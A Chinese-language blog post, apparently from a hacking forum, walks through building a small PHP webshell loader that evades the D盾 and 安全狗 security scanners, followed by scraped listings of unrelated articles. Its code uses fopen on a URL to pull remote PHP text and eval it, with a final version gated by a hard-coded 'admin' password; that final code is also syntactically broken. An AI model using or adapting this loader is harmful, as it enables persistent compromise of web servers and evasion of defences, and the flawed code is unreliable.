在之前sky666提到了关于大马被waf拦的问题,我决定手动去过一下bypass。可是发现怎么也过不去查杀,更别说拦截了。对此无奈,只好花了个通宵去处理一下。顺便一提,理论过所有Waf,并且被杀只需要稍微处理一下依旧可用。

Prat 1 目录

一:base64编码,处理eval函数进行绕过(失败)
二:巧妙利用fopen函数绕过waf
三:fopen函数处理eval拦截问题
四:对此次一次总结

Prat 2

起源base64编码,处理eval函数进行绕过(失败)

之前一份大马中,发现进行base64编码过后,查杀的是已知后门,而不是查杀某个函数
于是决定开端先处理一下eval看看能不能进行绕过

eval直接执行base64解码

可以成功执行,但是被D盾报4级,这样肯定是不行的

base64编码思路宣告失败

发现D盾似乎对base64_decode()函数独有情钟- -#
不管怎么处理只能处理到二级,安全狗倒是已经过去了

<?php
$a = 'base64编码过后';
$c = base64_decode($a);
eval($d = $c);
?>

Prat 3 失落

巧妙利用fopen函数绕过waf

发现base64思路惨败D盾过后,抽了支烟,说了一句D盾你个禽兽
不过失败是成功他亲爹,只好继续想新思路。
之前写过一篇水文,叫做隐藏在黑页下的大马
不过被挺多人喷的,其实这篇文章只是另外一种思路的铺垫,不过因为没人支持,也就没有写下去了。
这篇文章中用了php_curl函数,不过利用门槛比较高,于是查了一下等价函数。
首先我们来看一下fopen函数
fopen() //fopen()函数打开文件或者 URL。

思路

通过fopen打开远程url的txt文件存入一个变量中,在执行。
说干就干,首先把一份大马去掉<?以及?>
然后存入一个txt中,确保打开的时候能打开。
可能这里就有人问了,txt放哪里?
这里我只想说,心里没点B数?

大马地址:http://127.0.0.1/bh/test.txt

举个例子:

<?php
$handle1 = fopen('http://127.0.0.1/bh/test.txt', 'r');
$content1 = '';
                while(false != ($a1 = fread($handle1, 8080))){
                        $content1 .= $a1;
                        }
                        echo $content1;
                fclose($handle1);
?>

发现已经获取成功了,那么我们只需要eval执行一下就可以了

<?php
$handle1 = fopen('http://127.0.0.1/bh/test.txt', 'r');
$content1 = '';
                while(false != ($a1 = fread($handle1, 8080))){
                        $content1 .= $a1;
                        }
                        eval($content1);
                fclose($handle1);
?>

首先看一下安全狗是否拦截

大马地址:http://192.168.1.110/bh/test.txt
webshell地址:192.168.1.104/test/php.php

ok,可以看见安全狗以及绕过了,并且可以正常使用
补一张没做过处理大马访问图

不过问题来了,D盾报一级拦截,我顿时想说mmp。

之前处理一句话的时候,也是经常报我一级- -#
继续抽了支烟,然后继续处理这个错误

Prat 4 希望

fopen函数处理eval拦截问题这里没什么思路完全是因为bypass小分队的大佬帮我处理的。

贴一下最后成品代码

<?php
error_reporting(E_ERROR);
if(isset(isset($_GET['submit']) && $_GET['pass'] == "admin"){
        if($_POST[$_GET['test'] == "test"){
                $handle1 = fopen('http://127.0.0.1/bh/test2.txt', 'r');
                $content1 = '';
                while(false != ($a1 = fread($handle1, 8080))){
                        $content1 .= $a1;
                        }
                        print(eval($a1=$content1));
                fclose($handle1);
        }
        $handle = fopen('http://127.0.0.1/bh/test.txt', 'r');
    $content = '';
    while(false != ($a = fread($handle, 8080))){
        $content .= $a;
    }
                print(eval($a=$content));
fclose($handle);
}
?>

一句话地址:http://127.0.0.1/bh/test2.txt
webshell地址:http://127.0.0.1/bh/test.txt

说一下代码

if(isset($_GET['submit']) && $_GET['pass'] == "admin")

这一部分是验证部分,但是懒得写好看的登陆口,直接获取了下GET传值做判断,为了防爆破多写了一个

if($_POST[$_GET['test'] == "test")

这一部分是用来进入一句话的,当然你也可以删掉

再来说说处理eval一级,其实很简单,我也是bypass小分队老司机说了才知道的~~~

eval($a1=$content1);

看这一行代码,相信大家就已经知道了。

Prat 5 总结

前人失效的思路不代表着没有继续扩展的意义。
多想多做多实战,发现其实waf也就那回事。
无非就是在原有的基础上加了几行代码。

打造一款1kb大马并且处理D盾以及安全狗拦截与查杀的更多相关文章

  1. 【ASP.NET程序员福利】打造一款人见人爱的ORM(一)

          “很多人都不太认可以第三方ORM,因为考虑的点不够全面,没有大用户群体的ORM有保证,这点是不可否认确是事实.但是往往用户群体大的ORM又有不足之处,今天我们就来聊聊关于ORM的话题,打造 ...

  2. 【ASP.NET程序员福利】打造一款人见人爱的ORM(二)

    上一篇我已经给大家介绍AntORM的框架[ASP.NET程序员福利]打造一款人见人爱的ORM(一),今天就来着重介绍一下如何使用这套框架 1>AntORM 所有成员 如果你只想操作一种数据库,可 ...

  3. 打造一款属于自己的web服务器——开篇

    JVM总结慢慢来吧,先插播一篇水文,来介绍下最近业余一直在写的一个小项目——easy-httpserver(github).适合新手学习,大神们路过即可^_^. 一.这是个什么玩意? easy-htt ...

  4. 如何打造一款五星级的 APP ?

    移动互联网大潮来袭!据统计,2015 年平均每天有 1000 个新的应用上架,而这些应用的现状可以说是鱼龙混杂,同是每个人的眼光.品味.意识和利益都不同,因此每人眼中的应用也是不同的.在巨大的市场竞争 ...

  5. jquery+css3打造一款ajax分页插件

    原文:[原创]jquery+css3打造一款ajax分页插件 最近公司的项目将好多分页改成了ajax的前台分页以前写的分页插件就不好用了,遂重写一个 支持IE6+,但没有动画效果如果没有硬需求,个人认 ...

  6. Notepad++给自己打造一款PowerQuery M语言编辑器【转】

    Excel 使用Notepad++给自己打造一款PowerQuery M语言编辑器 Excel 使用Notepad++给自己打造一款PowerQuery M语言编辑器-Power BI-ExcelHo ...

  7. 基于VueJS的render渲染函数结合自定义组件打造一款非常强大的IView 的Table

    基于VueJS的render渲染函数结合自定义组件打造一款非常强大的IView 的Table https://segmentfault.com/a/1190000015970367

  8. 使用Python打造一款间谍程序

    知识点 这次我们使用python来打造一款间谍程序 程序中会用到许多知识点,大致分为四块 win32API  此处可以在MSDN上查看 Python基础重点在cpytes库的使用,使用方法请点击此处 ...

  9. 打造一款 刷Java 知识的小程序(二)

    学习Java的神器已上线,面向广大Java爱好者! 之前写的一篇:打造一款 刷Java 知识的小程序(一) 一.第二版做了什么? 第一版小程序只具有初级展示功能,知识点都是hardcode在代码里面的 ...

随机推荐

  1. mesos in docker

    docker pull mesosphere/mesos-master:1.4.0 docker pull mesosphere/mesos-slave:1.4.0 在Docker中运行Mesos的推 ...

  2. git 撤销 merging

    当我们在合代码的时候经常会遇到一些问题,这时候分支就处于merging状态,这时候可以用下面的命令撤销 $ git reset --hard HEAD (or sha_1) 不知道有没有更好的办法,希 ...

  3. Plugins in Unity

    [Plugins in Unity] In Unity, you normally use scripts to create functionality but you can also inclu ...

  4. 从Oracle数据库中查询与某一时间点最接近的记录

    select * from data_taskregionschedule WHERE regioncode='HYL' and updatetime-to_date('2018-05-15','yy ...

  5. SQL 数据库 学习 003 什么是数据库? 为什么需要数据库?是不是所有的软件都是用Sql Server?

    什么是数据库? 为什么需要数据库? 是不是所有的软件都是用Sql Server? 我的电脑系统: Windows 10 64位 使用的SQL Server软件: SQL Server 2014 Exp ...

  6. 关于select Count()的使用和性能问题

    比如Count(*) FROM E_Table WHERE [date] > '2008-1-1' AND istrue = 0 由于操作的数据比较大(400万以上),所以使用了两个数据库,一个 ...

  7. 633E Binary Table

    传送门 分析 我们发现n特别小,所以可以从这里入手 我们记录出所有列中某一种状态的列有多少个 我们再记录出每种列最少有多少个1(原来的1的个数和取反后的个数去最小值) 于是我们可以得出对于所有列异或一 ...

  8. elmah oracle

    . <sectionGroup name="elmah"> <section name="security" requirePermissio ...

  9. NPOI读写Excel sheet操作

    QueryInfo dataInfo = new QueryInfo(); dataInfo.CustomSQL = $@" select t1.name name,t1.url url f ...

  10. redis集群部署及常用的操作命令(上)

    简单说下自己测试搭建简单的redis集群的大体步骤: 1.首先你的有6个redis(官方说最少6个,3master,3slave),可以先在一台机器上搭建,搭建到多台上应该只需要改变启动命令即可(可能 ...